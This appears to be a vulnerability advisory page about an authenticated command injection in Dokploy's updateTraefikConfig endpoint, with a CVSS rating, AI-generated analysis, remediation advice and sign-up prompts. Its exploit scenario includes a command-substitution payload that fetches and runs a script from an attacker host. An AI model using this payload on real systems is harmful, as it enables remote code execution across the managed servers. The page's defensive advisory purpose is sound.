EUVD-2026-33357Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L
Lifecycle Timeline
1DescriptionGitHub Advisory
Dokploy is a free, self-hostable Platform as a Service (PaaS). In 0.28.8 and earlier, authenticated OS command injection in the application.updateTraefikConfig tRPC endpoint allows admin/owner users to execute arbitrary system commands on remote servers via unsanitized echo shell interpolation.
AnalysisAI
Authenticated OS command injection in Dokploy 0.28.8 and earlier lets admin or owner users execute arbitrary shell commands on remote servers managed by the PaaS through the application.updateTraefikConfig tRPC endpoint. The flaw stems from unsanitized shell interpolation in an echo call, granting full command execution across any host the Dokploy controller manages. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires (1) network reachability to the Dokploy control plane's tRPC API, (2) valid authenticated credentials or a live session for an account with admin or owner role in Dokploy - regular users cannot reach updateTraefikConfig - and (3) Dokploy at version 0.28.8 or earlier running the vulnerable echo-based Traefik config update path. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Risk signals are mixed but lean toward high-priority for any organization running Dokploy. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who has phished a Dokploy admin's session or compromised an owner account submits a crafted Traefik configuration through the application.updateTraefikConfig tRPC call containing shell metacharacters such as `$(curl attacker.tld/x.sh|sh)`. When Dokploy interpolates that input into its echo-based configuration push, the injected command executes on each managed remote server, giving the attacker code execution across the entire fleet. … |
| Remediation | Upgrade to the fixed Dokploy release referenced in GHSA-p787-6gqg-cvp5 (https://github.com/Dokploy/dokploy/security/advisories/GHSA-p787-6gqg-cvp5); the advisory is the authoritative source for the exact patched version, which was not independently confirmed in the input data, so consult the advisory before deploying. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
24 hours: Audit Dokploy admin/owner account access logs and credential rotation status; enumerate all systems each account can reach. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Share
External POC / Exploit Code
Leaving vuln.today